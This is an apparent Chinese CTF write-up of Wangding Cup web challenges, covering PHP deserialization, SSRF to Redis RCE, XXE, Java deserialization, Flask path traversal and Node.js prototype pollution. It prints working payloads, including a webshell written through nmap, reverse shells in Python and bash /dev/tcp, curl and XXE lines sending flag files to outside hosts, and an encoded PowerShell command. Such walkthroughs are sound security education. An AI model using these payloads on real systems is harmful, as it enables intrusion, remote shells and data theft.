长亭百川云 - 文章详情

网鼎杯Web题全解析

喜马拉雅安全响应平台

486

2024-07-13

首先感谢国家网信相关单位及i春秋等公司对大赛的大力支持,喜马拉雅作为玄武组的一份子积极参加了比赛,并在赛后回顾和复现了赛题中出现的相关技术。作者目前也是正在边练边学的小朋友,如有差错还请师傅们交流斧正。

同时希望大家能多多关注本公众号,近期还会继续发布SRC的福利活动和优质的技术文章。

被微信公众号吃掉了的脚本链接,均可通过 阅读原文 或如下网址找到找到

https://github.com/hosch3n/expload

AreUSerialz


考察PHP反序列化、PHP弱类型比较

index.php 接收GET方法str参数的值,并将值传入is_valid函数,如果不包含不可见特殊字符,则对其进行反序列化

FileHandler类的三个protected属性分别为opfilenamecontent,构造函数对三个属性进行初始化赋值后调用process方法

由于op属性为"1",继续调用write方法,若写入的内容不超过100个字符,则利用file_put_contents函数写文件,并返回状态消息给output方法输出到页面上

如果满足$this->op == "2",就会调用read方法,利用file_get_contents函数读文件,并返回文件内容给output方法输出到页面上

最后析构函数如果发现满足$this->op === "2"就会改回"1",将content属性置空并再次调用process方法

这里反序列化直接可控的类属性是protected类型,在序列化后会包含不可见字符%00,不但过不了is_valid函数的检查,在php版本小于5.3.4时还可能会导致截断

由于析构函数会将content属性置空,所以绕过op参数检查后,输出文件内容实际上是通过析构函数(而非构造函数)中的process方法调用的。但php构造函数与析构函数工作路径可能会不一致,这也就是有些环境直接读当前目录下的flag.php读不到东西的原因

测试了linux下php的cli模式、apache php_module模式与nginx FastCGI模式,结果同上。windows下看到b1ind师傅发的图,析构函数的工作目录是在apache目录下

因此想成功读到flag,需要将反序列化默认生成的不转义二进制的s字符串类型,改为支持用十六进制表示S字符串类型绕过检查。在php版本高于7.1时,也可以直接利用public覆盖掉private绕过检查

利用php弱类型比较满足2 == "2",但不满足强类型比较2 === "2"的特性,绕过析构函数的拦截

然后按道理应该先从/proc/self/cmdline中获取httpd配置文件路径,再从/web/config/httpd.conf进一步获取web目录的绝对路径,利用绝对路径读/web/html/flag.php的内容。。。但是线上环境相对路径就能直接读出来了

<?php  
class FileHandler {  
    protected $op = 2;  
    protected $filename = "/var/www/html/flag.php"; \# ctfhub环境  
    protected $content;  
}  
$a = new FileHandler();  
$b = urlencode(serialize($a));  
$b = str\_replace("s", "S", $b);  
$b = str\_replace("%00", "\\\\00", $b);  
echo $b;  
  
\# ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\\00%2A\\00op%22%3Bi%3A2%3BS%3A11%3A%22\\00%2A\\00filename%22%3BS%3A22%3A%22/var/www/html/flag.php%22%3BS%3A10%3A%22\\00%2A\\00content%22%3BN%3B%7D
<?php  
class FileHandler {  
    public $op;  
    public $filename;  
    public $content;  
}  
$a = new FileHandler();  
$a\->op = 2;  
$a\->filename = "flag.php";  
echo urlencode(serialize($a));  
  
\# ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

Unfinish

考察PHP二次注入

题目与2018年时相同,原理可参考七月火师傅的博客文章:

https://mochazz.github.io/2018/08/23/2018网鼎杯第二场Web题解/#unfinished

这里同时放一个自己撸的渣脚本

https://github.com/hosch3n/expload/blob/master/PHP-Tricks/unfinish.py

nmap

考察PHP的escapeshellxxx函数单引号逃逸、nmap参数注入写shell

2018年时安恒也出过这题,原理是escapeshellargescapeshellcmd的使用顺序不当会导致参数逃逸,分析参见PHP escapeshellarg()+escapeshellcmd() 之殇

https://paper.seebug.org/164/

在此基础上结合nmap的输出参数写shell,只是这里存在代码waf会拦截php关键字,所以需要稍微绕过一下

\# 写webshell  
' -oG a.phtml <?=eval($\_POST\[911\])?> '  
  
\# 直接读文件  
' -o a.txt -iL ../../../../../../../flag '

phpweb

考察PHP利用反序列化绕WAF

对时间页抓包可以看到两个参数:func=date&p=Y-m-d+h%3Ai%3As+a,猜测存在RCE,但是执行代码/命令的函数基本都被WAF了

fuzz发现file_get_contents可用,用它把index.php下载下来

func=file_get_contents&p=index.php

通过in_array($func,$disable_fun)卡了很多敏感函数,但是还漏了用于反序列化的unserialize,于是就可以通过序列化后的Payload来绕过WAF

<?php  
class Test {  
    public $p;  
    public $func;  
}  
$a = new Test();  
$a\->func = "system";  
$a\->p = "ls -al /";  
echo urlencode(serialize($a));  
  
\# func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A8%3A%22ls+-al+%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

或者利用形如\system的命名空间形式绕过WAF

js_on

考察PHP的JWT签名后绕WAF注入

开局一个表单,顺手admin,admin就进去了,拿到一个key

回头来试注入会被问候到。。。就不贴图了

利用<>置空特性和JWT的key签名后绕过WAF注入,表里没东西直接load_file读根目录下的flag,再贴一个自己撸的辣鸡脚本

https://github.com/hosch3n/expload/blob/master/PHP-Tricks/js_on.py

ssrfme

考察PHP的SSRF绕过IP限制后,利用gopher协议打Redis授权后的主从同步RCE

给了源码,提示本地访问hint.php

开头限制了协议只能是http|https|gopher|dict中的,然后卡了一下本地和内网IP,考虑到参赛队数量估计没有更深的内网环境

先利用?url=http://foo@127.0.0.1:80@x.x/hint.php绕过IP限制(进制转换、0.0.0.0、DNS重绑定等也可以),看到提示的Redis密码为welcometowangdingbeissrfme6379

之后的思路就是利用gopher协议打需要认证的6379端口上的Redis,使其作为从机访问搭建了Rogue-MySql-Server的VPS,将VPS上编译好的exp.so拓展同步到目标上(俗称Redis主从同步RCE),这样就能直接利用Redis执行系统命令了,赛题环境弹shell总是抽风,所以直接执行cat通过Web端回显读到了flag

<?php  
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){  
  highlight_file(__FILE__);  
}  
if(isset($_POST['file'])){  
  file_put_contents($_POST['file'],"<?php echo 'welcometowangdingbeissrfme6379 is root';exit();".$_POST['file']);  
}

这里由于目前还没有方便的复现环境,所以就只贴一下Payload,不再干巴巴地多讲了,等CTFHub上了环境再补齐细节吧(表哥五毛拿来 $.$)

?url=http://foo@127.0.0.1:80@x.x/hint.php  
  
?url=gopher://a@127.0.0.1:6379@x.x/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%252430%250D%250Awelcometowangdingbeissrfme6379%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252413%250D%250A1.1.1.1%250D%250A%25244%250D%250A7777%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252435%250D%250Acat%2524%257BIFS%257D%2FflagFlagFLLLLLLLLLLLLLLag%250D%250A%252A1%250D%250A%25244%250D%250APOST%250D%250A

同时安利一下用到的工具:

`redis-ssrf``https://github.com/xmsec/redis-ssrf``   ``redis-rogue-server``https://github.com/n0b0dyCN/redis-rogue-server`

ssrf-redis.pymode=3lhostlport填VPS上rogue-server.py监听的地址,同时将编译好的exp.sorogue-server.py放在VPS的同一目录下,最后将生成的Payload二次编码后,通过?url=参数打过去即可,执行的命令会在Web前端回显回来

FileJava

考察Java的poi xml解析库XXE

直接访问是一个上传表单,上传任意文件后可以得到下载接口:/file_in_java/DownloadServlet?filename=

在CTFHub复盘时,尝试利用路径穿越下载/etc/passwd/webapps/file_in_java.war会提示您要下载的资源已被删除!,所以还是老实fuzz路径寻找tomcat所在的/usr/local/tomcat/目录并下载web.xml来获取路径信息:/file_in_java/DownloadServlet?filename=../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

从web.xml 中可以得知包名为cn.abc.servlet,由此便可结合servlet名,构造出能下载到相应字节码文件的路径

/usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class  
/usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class.class  
/usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class  

安利一个集成了多种Java反编译引擎的网站:Decompilers online,反编译后看下代码逻辑

http://www.javadecompilers.com/

DownloadServlet如果发现要下载的文件名包含flag则会返回禁止读取UploadServlet会调用POI库解析以excel-开头、xlsx为后缀的文件

搜索org.apache.poi vuln,可以利用CVE-2014-3529读取flag文件,直接新建一个[Content_Types].xml文件,压缩为zip格式后将文件名改为形如excel-xxx.xlsx的格式

https://xz.aliyun.com/t/7272#toc-7
<?xml version\="1.0"?>  
<!DOCTYPE ANY\[  
<!ENTITY % file SYSTEM "file:///flag"\>  
<!ENTITY % remote SYSTEM "http://公网地址/xxe.dtd"\>  
%remote;  
%all;  
\]>  
<root\>&send;</root\>

在能访问到的公网地址处放入xxe.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://WebLog/?%file;'>">

此时直接上传excel-xxx.xlsx即可在WebLog平台收到利用XXE读到的flag

think_java

考察Java的swagger-ui接口泄漏、SQL注入、反序列化

给了部分字节码文件,反编译后看一下代码

可以看到用了swagger-ui,继续跟进/sqlDict

dbNamemyapp,同时发现SQL拼接存在注入

/swagger-ui.html#/test可以方便地发起请求,抓包后尝试通过SQL注入获取信息,注意这里的#?仅起填充分隔作用

dbName\=myapp#' union select user()--+  
  
dbName\=myapp?a\=1' union select group\_concat(id,name,pwd) from user--+  
  
{  
"password": "admin@Rrrr\_ctf\_asde",  
"username": "admin"  
}

利用拿到的一组帐号密码通过swagger中泄漏的/common/user/login登录后,会得到一段token

{  
  "Accept": "*/*",  
  "Authorization": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"  
}  

Java环境下rO0AB开头的数据优先猜测为序列化数据的Base64编码,aced开头则优先猜测为hex编码,且这段数据可以被/common/user/current解析,所以考虑打反序列化,先对命令编码一下渡劫Runtime.getRuntime().exec()的坑

java -jar ysoserial.jar ROME 'bash -c {echo,Y3VybCBodHRwOi8vV2ViTG9nL2BjYXQgLypmbGFnKmA=}|{base64,-d}|{bash,-i}' > payload.bin

附PS版:powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwB1AHIAbAAgAGgAdAB0AHAAOgAvAC8AVwBlAGIATABvAGcALwBgAGMAYQB0ACAALwAqAGYAbABhAGcAKgBgAA==

import base64  
filei \= open("payload.bin", "rb")  
fileo \= open("payload.txt", "a")  
bin\_data \= filei.read()  
data \= base64.b64encode(bin\_data)  
data \= f"Bearer {data.decode('utf-8')}"  
fileo.write(data)  
filei.close()  
fileo.close()

将生成的payoad通过/common/user/current打过去即可

picdown

考察Python的flask以及Linux相关知识点

url参数传喜闻乐见的../../../../../../etc/passwd,可以目录穿越读到文件,尝试下载index.php报错了,继续尝试main.py成功获取源码

程序开头把/tmp/secret.txt的内容读入变量后就把文件删掉了,manager函数校验key后即可执行命令

结合题目环境猜测可能要用到Linux神奇的/proc内存接口进一步获取信息,从/proc/self/cmdline得知程序所在目录为/root/,继续fuzz发现在/proc/self/fd/3中存在一段十六进制PXR2aoaf3zuHodBEKE46B0baM5X6cgvPXMgJIfUg1z8,猜测其就是/tmp/secret.txt的内容

/no_one_know_the_manager传key和命令执行后意识到没有回显,利用/dev/tcp反弹也没有反应,最后利用python反弹成功

/no\_one\_know\_the\_manager?key=PXR2aoaf3zuHodBEKE46B0baM5X6cgvPXMgJIfUg1z8=&shell=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("IP",Port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","\-i"\])  
  
# /root/flag.txt

Notes

考察node.js原型链污染

直接给了部分源码,看到undefsafe这个包名就很奇奇怪怪,搜索undefsafe vuln的第一条结果就说明了其存在原型链污染

var a \= require("undefsafe");  
var payload \= "\_\_proto\_\_.toString";  
a({},payload,"JHU");  
console.log({}.toString);

可能导致的攻击有:

  1. 污染Object.prototype.toString相关操作为int等类型,导致DoS

  2. 污染形如user.isAdmin的属性,导致越权

  3. 污染到Object.prototype.someattr后,其被形如eval(someobject.someattr)的代码执行后,导致RCE

结合开头处显眼的const { exec } = require('child_process');来看,肯定是命令执行无误了,搜索exec快速定位到能执行命令的功能点

可以看到用了从数组中枚举的方式来获取值,并传递给exec函数利用/bin/bash'解释执行,存在被利用原型链污染后新增命令的风险,接下来只需要找到可控的输入流和调用了undefsafe的地方

这样就可以通过向/edit_note POST Payload,再访问/status触发命令执行

// 反弹Shell  
id\=\_\_proto\_\_&author\=bash \-i \>%26 /dev/tcp/IP/Port 0\>%261&raw\=1  
  
// 直接读文件  
id\=\_\_proto\_\_&author\=curl WebLog/\`cat /flag | base64\`&raw\=1

starbucket

考察AmazonS3 starbucket

直接给了个链接,访问后按flag会提示没权限。扫目录后,访问config.php可以看到报错

**Fatal error**: Uncaught Error: Class 'Aws\S3\S3Client' not found in /var/www/html/config.php:8 Stack trace: #0 {main} thrown in **/var/www/html/config.php** on line **8**

从前端接口看到用了starbucket ACL,搜索一下可以知道其存在的三种访问权限分别为public-read-writepublic-readprivate

signature.php会根据'https://starbucket.s3.us-east-2.amazonaws.com/userinfo/' + userid + '/info.js'中的值来判断是否加载flag,所以需要通过改acl参数为public-read-write,同时上传info.js覆写内容为{"admin":true,"avatar":"image\/default.jpg"},在下一次请求时即可通过权限校验拿到flag

/\*  
signature.php?acl=public-read&key=image/  
  
{"acl":"public-read","key":"image\\/","X-Amz-Credential":"AKIAI5OBRAEU3S5TMWHA\\/20200514\\/us-east-2\\/s3\\/aws4\_request","X-Amz-Algorithm":"AWS4-HMAC-SHA256","X-Amz-Date":"20200514T070533Z","Policy":"eyJleHBpcmF0aW9uIjoiMjAyMC0wNS0xNFQwODowNTozM1oiLCJjb25kaXRpb25zIjpbeyJhY2wiOiJwdWJsaWMtcmVhZCJ9LHsiYnVja2V0Ijoic3RhcmJ1Y2tldCJ9LHsia2V5IjoiaW1hZ2VcLyJ9LHsiWC1BbXotRGF0ZSI6IjIwMjAwNTE0VDA3MDUzM1oifSx7IlgtQW16LUNyZWRlbnRpYWwiOiJBS0lBSTVPQlJBRVUzUzVUTVdIQVwvMjAyMDA1MTRcL3VzLWVhc3QtMlwvczNcL2F3czRfcmVxdWVzdCJ9LHsiWC1BbXotQWxnb3JpdGhtIjoiQVdTNC1ITUFDLVNIQTI1NiJ9XX0=","X-Amz-Signature":"9e2e29e94e20253bdb6e6d4ab9b0e4af2ac1237782147a44cf3d72dbde2100b9"}  
\*/  
  
fetch('./signature.php?acl=public-read-write&key=userinfo/' + userid + '/info.js').then(res \=> res.json()).then(json \=> {  
            for(let key in json){   
                $('input\[name='+key+'\]')\[0\].value \= json\[key\];  
            }  
})

完结撒花

文中部分思路来源于Venom战队的师傅,在此表示感谢

最后悄悄地剧透一下,XMSRC近期即将发布新的挖洞翻倍活动哦,希望大家多多支持鸭

喜马拉雅安全应急响应中心:https://security.ximalaya.com
相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2